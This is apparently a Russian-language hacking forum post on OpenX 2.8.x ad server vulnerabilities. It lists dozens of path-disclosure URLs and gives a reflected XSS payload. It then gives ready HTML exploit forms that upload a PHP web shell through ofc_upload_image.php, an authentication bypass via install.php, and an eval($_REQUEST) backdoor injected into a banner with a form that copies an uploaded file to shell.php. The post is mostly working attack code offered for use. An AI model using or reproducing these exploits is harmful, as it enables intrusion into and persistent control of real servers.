openX 2.8.6
Path disclosure
Код:
http://localhost/openx-2.8.6/www/admin/plugins/openXWorkflow/application/bootstrap.php
Path disclosure
display_errors = On
Код:
http://localhost/openx-2.8.6/www/admin/plugins/videoReport/stats-debug.php
http://localhost/openx-2.8.6/www/admin/plugins/videoReport/stats-api.php
http://localhost/openx-2.8.6/www/admin/plugins/videoReport/stats-export-csv.php
http://localhost/openx-2.8.6/www/admin/plugins/videoReport/navigation/oxVastMenuChecker.php
http://localhost/openx-2.8.6/www/admin/plugins/videoReport/lib/ofc2/ofc_area_base.php
http://localhost/openx-2.8.6/www/admin/plugins/videoReport/lib/ofc2/ofc_area_hollow.php
http://localhost/openx-2.8.6/www/admin/plugins/videoReport/lib/ofc2/ofc_area_line.php
http://localhost/openx-2.8.6/www/admin/plugins/videoReport/lib/ofc2/ofc_bar_filled.php
http://localhost/openx-2.8.6/www/admin/plugins/videoReport/lib/ofc2/ofc_line_dot.php
http://localhost/openx-2.8.6/www/admin/plugins/videoReport/lib/ofc2/ofc_line_hollow.php
http://localhost/openx-2.8.6/www/admin/plugins/videoReport/lib/ofc2/ofc_sugar.php
http://localhost/openx-2.8.6/www/admin/plugins/videoReport/lib/ofc2/ofc_y_axis.php
http://localhost/openx-2.8.6/www/admin/plugins/videoReport/lib/ofc2/ofc_y_axis_right.php
http://localhost/openx-2.8.6/www/admin/plugins/videoReport/lib/SmartyFunctions/function.url.php
http://localhost/openx-2.8.6/www/admin/plugins/videoReport/lib/SmartyFunctions/modifier.formatNumber.php
http://localhost/openx-2.8.6/www/admin/plugins/videoReport/lib/Graph/Flash/AreaGraph.php
http://localhost/openx-2.8.6/www/admin/plugins/videoReport/lib/Graph/Flash/BaseGraph.php
http://localhost/openx-2.8.6/www/admin/plugins/videoReport/lib/Graph/Flash/LineGraph.php
http://localhost/openx-2.8.6/www/admin/plugins/oxMarket/oxMarket.class.php
http://localhost/openx-2.8.6/www/admin/plugins/oxMarket/navigation/oxMarketActiveChecker.php
http://localhost/openx-2.8.6/www/admin/plugins/oxMarket/navigation/oxMarketAdminStatsChecker.php
http://localhost/openx-2.8.6/www/admin/plugins/oxMarket/navigation/oxMarketEntityChecker.php
http://localhost/openx-2.8.6/www/admin/plugins/oxMarket/navigation/oxMarketMultipleAccountsModeChecker.php
http://localhost/openx-2.8.6/www/admin/plugins/oxMarket/navigation/oxMarketStandaloneModeChecker.php
http://localhost/openx-2.8.6/www/admin/plugins/oxMarket/library/OX/oxMarket/Common/Cache.php
http://localhost/openx-2.8.6/www/admin/plugins/oxMarket/library/OX/oxMarket/Common/ConnectionUtils.php
http://localhost/openx-2.8.6/www/admin/plugins/oxMarket/library/OX/oxMarket/Dal/Advertiser.php
http://localhost/openx-2.8.6/www/admin/plugins/oxMarket/library/OX/oxMarket/Dal/Campaign.php
http://localhost/openx-2.8.6/www/admin/plugins/oxMarket/library/OX/oxMarket/M2M/PearXmlRpcCustomClientExecutor.php
http://localhost/openx-2.8.6/www/admin/plugins/oxMarket/library/OX/oxMarket/M2M/ZendXmlRpcCustomClientExecutor.php
http://localhost/openx-2.8.6/www/admin/plugins/oxMarket/library/OX/oxMarket/UI/CampaignForm.php
http://localhost/openx-2.8.6/www/admin/plugins/oxMarket/library/OX/oxMarket/UI/CampaignsSettings.php
http://localhost/openx-2.8.6/www/admin/plugins/oxMarket/library/OX/oxMarket/UI/EntityFormManager.php
http://localhost/openx-2.8.6/www/admin/plugins/oxMarket/library/OX/oxMarket/UI/EntityHelper.php
http://localhost/openx-2.8.6/www/admin/plugins/oxMarket/library/OX/oxMarket/UI/EntityScreenManager.php
http://localhost/openx-2.8.6/www/admin/plugins/oxMarket/library/OX/oxMarket/UI/rule/FloorPriceCompare.php
http://localhost/openx-2.8.6/www/admin/plugins/oxMarket/library/OX/oxMarket/UI/rule/QuickFormFloorPriceCompareRuleAdaptor.php
...
раскрытий много.
Path disclosure
display_errors = On
Код:
http://localhost/openx-2.8.6/www/admin/plugins/videoReport/lib/ofc2/ofc_upload_image.php
барыжная XSS
Код:
http://localhost/openx-2.8.6/www/admin/plugins/videoReport/lib/ofc2/ofc_upload_image.php?name=%3Cimg%20alt=%22%ED%E0%E6%EC%E8%22%20onmouseover=%22javascript:alert%28123%29%22%20%3E
ofc_upload_image.php
PHP код:
/*...*/
// full path to the saved image including filename //
$destination = $default_path . basename( $_GET[ 'name' ] );
echo 'Saving your image to: '. $destination;
/*...*/
Записываем шелл
ofc_upload_image.php
rg on
PHP код:
/*...*/
// default path for the image to be stored //
$default_path = '../tmp-upload-images/';
if (!file_exists($default_path)) mkdir($default_path, 0777, true);
// full path to the saved image including filename //
$destination = $default_path . basename( $_GET[ 'name' ] );
echo 'Saving your image to: '. $destination;
// print_r( $_POST );
// print_r( $_SERVER );
// echo $HTTP_RAW_POST_DATA;
//
// POST data is usually string data, but we are passing a RAW .png
// so PHP is a bit confused and $_POST is empty. But it has saved
// the raw bits into $HTTP_RAW_POST_DATA
//
$jfh = fopen($destination, 'w') or die("can't open file");
fwrite($jfh, $HTTP_RAW_POST_DATA);
fclose($jfh);
//
// LOOK:
//
exit();
/*...*/
Если б небыло дальше exit(), то можно было лить шелл бес зависимости судя по коду который идет после exit(не выложил в даном случае).
Експлоит:
Код HTML:
<form action='http://localhost/openx-2.8.6/www/admin/plugins/videoReport/lib/ofc2/ofc_upload_image.php?name=wso.php' method=post enctype=multipart/form-data>
<textarea rows="10" cols="45" name="HTTP_RAW_POST_DATA"></textarea>
<input type=submit value=Загрузить></form>
будет текст:
Цитата:
|
Saving your image to: ../tmp-upload-images/wso.php
|
Шелл будет тут:
Код:
http://localhost/openx-2.8.6/www/admin/plugins/videoReport/lib/tmp-upload-images/wso.php
Решил почитать о $HTTP_RAW_POST_DATA
Оказуетцо, если
register_globals off, то все же писать данные в файл возможно.
Только данные урл-кодируютцо, если не урл-кодированные, то мы имеем шелл.
В
$HTTP_RAW_POST_DATA заганяютцо пост-даные напрямую.
В
php.ini должно быть
Цитата:
; Always populate the $HTTP_RAW_POST_DATA variable.
always_populate_raw_post_data = On
|
файл 1.php:
Код:
<form method="post">
<input name="data" type="text" value="12345">
<input type="submit" value="Send">
</form>
<?php echo $HTTP_RAW_POST_DATA; ?>
обращаемся:
Код:
http://localhost/1.php
результат:
data=12345
Експлоит:
Код:
<form action='http://localhost/openx-2.8.6/www/admin/plugins/videoReport/lib/ofc2/ofc_upload_image.php?name=222.php' method=post>
<input name="Name" type="text" value="[используем не кодированные данные!]">
<input type="submit" value="Send">
</form>
Цитата:
Host=localhost
User-Agent=Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.2.10) Gecko/20100914 Firefox/3.6.10
Accept=text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language=ru-ru,ru;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding=gzip,deflate
Accept-Charset=windows-1251,utf-8;q=0.7,*;q=0.7
Keep-Alive=115
Connection=keep-alive
Referer=http://localhost/1.html
Cookie=vc=26; OAID=f3376b72128277e77c859bc6ca859fc7
Content-Type=application/x-www-form-urlencoded
Content-Length=21
POSTDATA=Name=<? phpinfo(); ?>
|
Наш шелл в даном случае тут:
Код:
http://localhost/openx-2.8.6/www/admin/plugins/videoReport/lib/tmp-upload-images/wso.php
Хе-хе, самое интересное, когда пихать с атрибутом
enctype, то нет никакого результата.
Код:
<form method="post" enctype=multipart/form-data>
<input name="data" type="text" value="12345">
<input type="submit" value="Send">
</form>
<?php echo $HTTP_RAW_POST_DATA; ?>
зы
PHP Version 5.2.14, нужная директива была закоментирована.
Обход авторизации
Работает на 2.8.2(тестил) и других: 2.8.0,2.8.3 -> на античате было написано.
Експлоенг:
Код HTML:
<form action="http://localhost/openx-2.8.2/www/admin/install.php" method=post>
<input name="btn_openads" type="hidden" value="1">
<input name="btn_plugins" type="hidden" value="1">
<input type='submit'>
</form>
в банер надо впихнуть:
Код:
<?php eval($_REQUEST[ev]); ?>
Код HTML:
<form action="http://localhost/openx-2.8.2/www/delivery/ac.php?bannerid=2&ev=copy($_FILES[file][tmp_name],$_GET[aa]);&aa=./shell.php" method="post" enctype="multipart/form-data">
<input type="file" name="file"><br>
<input type="submit" value="Загрузить"><br>
</form>
Уязвимости Openx (phpAdsNew, Openads)
Линейный вид
